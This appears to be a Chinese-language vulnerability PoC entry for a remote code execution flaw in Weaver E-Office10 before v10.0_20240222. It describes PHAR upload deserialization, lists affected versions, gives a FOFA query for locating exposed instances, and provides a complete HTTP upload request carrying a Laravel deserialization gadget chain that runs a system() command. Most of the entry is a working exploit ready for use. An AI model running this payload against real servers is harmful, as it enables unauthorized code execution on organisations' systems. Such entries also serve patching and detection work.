2024-03-29 10:22:46 +08:00
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## 泛微E-Office10版本小于v10.0_20240222存在远程代码执行漏洞
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漏洞的关键在于系统处理上传的PHAR文件时存在缺陷。攻击者能够上传伪装的PHAR文件到服务器，利用PHP处理PHAR文件时自动进行的反序列化机制来触发远程代码执行。
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## 影响版本
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```
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v10.0_20180516 < E-Office10 < v10.0_20240222
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```
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## fofa
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```
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app="泛微-EOffice"
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```
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## poc
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```
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POST /eoffice10/server/public/api/attachment/atuh-file HTTP/1.1
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Host:
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User-Agent: Go-http-client/1.1
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Content-Length: 523
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Accept: string("*/*")
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Accept-Encoding: gzip, deflate
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Content-Type: multipart/form-data; boundary=ifedjiqy
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--ifedjiqy
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Content-Disposition: form-data; name="Filedata"; filename="register.inc"
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Content-Type: image/jpeg
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GIF89a<?php __HALT_COMPILER(); ?>
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D.....................O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:".*.events";O:25:"Illuminate\Bus\Dispatcher":1:{s:16:".*.queueResolver";s:6:"system";}s:8:".*.event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{s:10:"connection";s:37:"echo 9yM86ESyFBXNDwCh6Nbsxy9wrcQrP25P";}}....test.txt....K..f.....~..........test.).i..f3....2pq....>....GBMB
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--ifedjiqy--
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```
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2024-03-29 10:30:15 +08:00
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## 漏洞来源
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- https://mp.weixin.qq.com/s/45_7Qz8AH1w471rbtFCyjw
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- https://mp.weixin.qq.com/s/nXg-2YF-iOMZW4mfDBYJYQ
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